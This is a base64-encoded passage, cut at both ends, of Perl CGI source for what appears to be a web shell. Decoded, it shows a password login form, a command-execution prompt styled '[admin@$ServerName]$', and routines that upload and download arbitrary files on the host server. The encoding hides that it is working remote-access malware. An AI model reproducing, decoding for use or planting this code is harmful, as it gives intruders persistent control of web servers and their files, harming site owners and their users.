0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRp